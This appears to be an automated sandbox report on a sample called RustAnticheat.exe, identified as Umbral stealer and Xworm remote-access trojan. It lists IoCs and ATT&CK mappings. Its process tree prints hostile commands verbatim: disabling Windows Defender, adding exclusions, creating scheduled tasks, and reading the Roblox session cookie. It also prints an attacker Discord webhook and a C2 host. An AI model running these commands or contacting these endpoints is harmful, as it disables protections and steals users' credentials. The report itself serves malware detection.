umbral | cb3cbf908ddcfff886bf0a0f9e9b159a5aae7e8cb5acb3d52e7a672728c0f25d

Analysis

max time kernel
0s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
22-09-2024 11:52

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General

Target

RustAnticheat.exe
Size

1.1MB
MD5

6d63fe8c87e642d9e380a13803aa6858
SHA1

5652877b527da6cec16dfa7e9653d3657fedea8b
SHA256

066692a03f240a40c237f5ec3270d27cac1fda40630dd29f40db006b79a542a8
SHA512

32ad077db3f44cd184f60a715464a0540615fee76cbb4de20c6a2703b1ef2a74391adfad0e77a4c3b2340f9bafbc18238445f19e7fcebf2c11e76e66376d000d
SSDEEP

24576:Ucvup1OydVxYPtGU8ynaQpLUcgs5JTqzCZxGcQVyULZ6U6/:U/1OydfMrgsfX04KZ69/

Score

10^/10

umbral xworm discovery execution rat stealer trojan

Malware Config

Extracted

Family

umbral

https://discord.com/api/webhooks/1286299751637192826/RNAV05TJwC7uQTEETo8ZiWSJKOrj5gYY87jlWomaK7jJ1jmuh7qm4pMjcc2ZUhDh6jxd

Extracted

Family

xworm

expected-schema.gl.at.ply.gg:2980

Attributes

Install_directory
%LocalAppData%
install_file
USB.exe

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral2/memory/4092-90-0x000002AC96690000-0x000002AC966D0000-memory.dmp	family_umbral
behavioral2/files/0x0007000000023467-88.dat	family_umbral

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x0009000000023404-6.dat	family_xworm
behavioral2/memory/1176-54-0x0000000000AB0000-0x0000000000ACC000-memory.dmp	family_xworm

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1196	powershell.exe
3324	powershell.exe
1432	powershell.exe
2440	powershell.exe
3796	powershell.exe
4888	powershell.exe
1904	powershell.exe
1832	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation	RustAnticheat.exe

Executes dropped EXE 1 IoCs

pid	Process
1176	RuntimeBroker.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
25	discord.com
26	discord.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
9	ip-api.com
19	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3516	cmd.exe
740	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2920	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
740	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4376	schtasks.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2916 wrote to memory of 1176	2916	RustAnticheat.exe	81
PID 2916 wrote to memory of 1176	2916	RustAnticheat.exe	81

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2368	attrib.exe

C:\Users\Admin\AppData\Local\Temp\RustAnticheat.exe
"C:\Users\Admin\AppData\Local\Temp\RustAnticheat.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2916
- C:\Users\Admin\RuntimeBroker.exe
  "C:\Users\Admin\RuntimeBroker.exe"
  2⤵
  - Executes dropped EXE
  PID:1176
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\RuntimeBroker.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3796
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'RuntimeBroker.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4888
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\RuntimeBroker'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1904
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'RuntimeBroker'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1832
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "RuntimeBroker" /tr "C:\Users\Admin\AppData\Local\RuntimeBroker"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4376
- C:\Users\Admin\RustAntich1eat.exe
  "C:\Users\Admin\RustAntich1eat.exe"
  2⤵
  PID:380
- C:\Users\Admin\Umbral.exe
  "C:\Users\Admin\Umbral.exe"
  2⤵
  PID:4092
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:1616
- - C:\Windows\SYSTEM32\attrib.exe
    "attrib.exe" +h +s "C:\Users\Admin\Umbral.exe"
    3⤵
    - Views/modifies file attributes
    PID:2368
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\Umbral.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2440
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3324
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1432
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    PID:1664
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    PID:3744
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    PID:872
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:948
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1196
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:2920
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\Umbral.exe" && pause
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:3516
  - - C:\Windows\system32\PING.EXE
      ping localhost
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:740

C:\Users\Admin\AppData\Local\RuntimeBroker
C:\Users\Admin\AppData\Local\RuntimeBroker
1⤵
PID:3684

C:\Users\Admin\AppData\Local\RuntimeBroker
C:\Users\Admin\AppData\Local\RuntimeBroker
1⤵
PID:4424

C:\Users\Admin\AppData\Local\RuntimeBroker
C:\Users\Admin\AppData\Local\RuntimeBroker
1⤵
PID:1932

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\RuntimeBroker.log

Filesize
654B

MD5
2ff39f6c7249774be85fd60a8f9a245e

SHA1
684ff36b31aedc1e587c8496c02722c6698c1c4e

SHA256
e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

SHA512
1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
2e907f77659a6601fcc408274894da2e

SHA1
9f5b72abef1cd7145bf37547cdb1b9254b4efe9d

SHA256
385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233

SHA512
34fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
2af06a6b36db9473e4a7d9c7ab72b70b

SHA1
8ef34b9b961e51bdd1b8d7d9db2ec1b0a4764645

SHA256
18a2aa7e245c6732f95fb7749b2b4d29007f2c56a9c5bfbc5e3c127bdfe5f158

SHA512
3495567a5d5af94ae27be51313d9e2630c52017d808042fe0d56baa34fa1d246eb15c253d14c77c77a1d8f2f1c81680e623044ae95415b095696e7fa141ac7cf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b5e2fd95470c50743ba121fd6bd03a7b

SHA1
75545ed499d9dde51a1fc1cf535eb4f50ec79250

SHA256
d9c961aaf784b9ce81b0a3aac7a39bd41e9f2702d9c28deb20e786d385b88288

SHA512
76bdc793f8b38f603b5ad0957474660bb09e963a2496564b8ceac6591d532fc9498214b81c3908bafc13ff0b07028457c6c997998adfd2203304cb1c82899423

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
ade086e87bb9cf928b80c5f6140dc138

SHA1
aca5940867d10be2ea4448f1d9fd6bfc7bcd3357

SHA256
77c31c5fbd51621d5676f51e97d234b9fef18eee6ee833cc698398c90d6d1eac

SHA512
78b607977c295a97c09f3911ecc66fce0e9dde53d9b4dbaae228bdc7111bf7ef4186f6cd12882079e9f7fc1ff6172c765da77111cd4dc4cfc1c4a408ff8f7b4d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
da5c82b0e070047f7377042d08093ff4

SHA1
89d05987cd60828cca516c5c40c18935c35e8bd3

SHA256
77a94ef8c4258445d538a6006ffadb05afdf888f6f044e1e5466b981a07f16c5

SHA512
7360311a3c97b73dd3f6d7179cd979e0e20d69f380d38292447e17e369087d9dd5acb66cd0cbdd95ac4bfb16e5a1b86825f835a8d45b14ea9812102cff59704b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
1be494c3627b8547d19169fc31ba0e92

SHA1
1028fadd6c2cc2946d643eb993f2b84f3e4ad4a3

SHA256
27a3d06624169237ed966aa0c83d9c4944d7946ecfb5e4ca7419e630038e5946

SHA512
5da4d855ed7206aad843958f8b4f34c45a4c85ef720581927e921cd231fddc06f5f58058851f7ccbaa2f5a2b48716dcf5f1fae044cdc9ed8d0598c1a4db4a998

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2oglegmz.iek.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\Desktop\LoaderLog.txt

Filesize
3KB

MD5
52df854da6b84dd61ab003fb4328dc18

SHA1
01c64631f4cc05b30a29dc7b943bbfee9c285c38

SHA256
de109f35ae10ff796b1e728286f33cb8e3ca632602315752b87c3e158e25aff2

SHA512
aa39d0a3a651a2cd8506f37f057346e0036d2211fa3dcb822b2ddd21d1cc399296332a35f03a7119fd113ff93d81d9b176e9297eac48f5021cf3e0c7ffd42196

Download Submit
C:\Users\Admin\Desktop\LoaderLog.txt

Filesize
4KB

MD5
68b8e41a47be95d4e0890c7a2c172f8b

SHA1
0acc5c64f8dd8f83851e9bb6c66c8b9b3495becc

SHA256
9050184e58ec997cb29e192c122be0b492b8923e89a88f83bf34d1a7f78df16f

SHA512
7f76d3c99156343228c73c25adb581188df6ce8edd643387a8988fc77e65c7e925bab9952e310746302b083e9a00bca6b95ccf2619e23667c125650fa4a23790

Download Submit
C:\Users\Admin\RuntimeBroker.exe

Filesize
84KB

MD5
98ccb6806d126e3a211b963d3341efd7

SHA1
108dfe1979c04c588f87d6fc2bb57c3ac10f6742

SHA256
11f00d48ecd890e9b8658c652a6283ead05dea9bcd641d89d0bd7f0f618f3cd2

SHA512
373caadac1ad290d60ea41663482946889ae9e0fea96115e21ba38d19d2bf6123c47501190c3fb33ef51aa07f6dbddc4eab43b82cbc008c4f83684707e1d3510

Download Submit
C:\Users\Admin\RustAntich1eat.exe

Filesize
827KB

MD5
eefb801774c5ccb44153268a9357f5f1

SHA1
b1906b22e14edd142c52808ab3e5ba9346b85de5

SHA256
677aeb1981c58cba41a5d53ccbbf5b471e62dc49dc326570767da940560d840d

SHA512
1cf162fe6184d68dca514059d2de1123e80d0faac401765a54224aa5a987c9454bc92263fbec566835aa7b402f1f63ba59bb425ccc139e0a7391e66991f270b7

Download Submit
C:\Users\Admin\Umbral.exe

Filesize
230KB

MD5
4647720ef8607199527cb3b0bc793587

SHA1
0728b0cc0fc7e0a1a8ed14c0861f8757780e4163

SHA256
349bfc065bf0580379be8c6e0d0dca592deec1bfc104d8d28c70454436de6337

SHA512
906baf94232c9f76d193021345259d01e23d81b3d9a948067035979235fd45e739e89b8047148f61d2f210c40e561067a040100ccacebbf8921050f12a0281f8

Download Submit
memory/380-106-0x0000000009220000-0x0000000009258000-memory.dmp

Filesize
224KB

Download
memory/380-107-0x00000000091F0000-0x00000000091FE000-memory.dmp

Filesize
56KB

Download
memory/380-94-0x0000000000AA0000-0x0000000000B76000-memory.dmp

Filesize
856KB

Download
memory/1176-251-0x00007FFDF29C0000-0x00007FFDF3481000-memory.dmp

Filesize
10.8MB

Download
memory/1176-54-0x0000000000AB0000-0x0000000000ACC000-memory.dmp

Filesize
112KB

Download
memory/1176-92-0x00007FFDF29C0000-0x00007FFDF3481000-memory.dmp

Filesize
10.8MB

Download
memory/2440-104-0x0000028D36400000-0x0000028D36422000-memory.dmp

Filesize
136KB

Download
memory/2916-1-0x0000000000960000-0x0000000000A86000-memory.dmp

Filesize
1.1MB

Download
memory/2916-0-0x00007FFDF29C3000-0x00007FFDF29C5000-memory.dmp

Filesize
8KB

Download
memory/4092-93-0x00007FFDF29C0000-0x00007FFDF3481000-memory.dmp

Filesize
10.8MB

Download
memory/4092-173-0x000002ACB0FB0000-0x000002ACB0FC2000-memory.dmp

Filesize
72KB

Download
memory/4092-172-0x000002AC98440000-0x000002AC9844A000-memory.dmp

Filesize
40KB

Download
memory/4092-226-0x00007FFDF29C0000-0x00007FFDF3481000-memory.dmp

Filesize
10.8MB

Download
memory/4092-126-0x000002AC98460000-0x000002AC9847E000-memory.dmp

Filesize
120KB

Download
memory/4092-125-0x000002AC98490000-0x000002AC984E0000-memory.dmp

Filesize
320KB

Download
memory/4092-124-0x000002ACB0E30000-0x000002ACB0EA6000-memory.dmp

Filesize
472KB

Download
memory/4092-90-0x000002AC96690000-0x000002AC966D0000-memory.dmp

Filesize
256KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads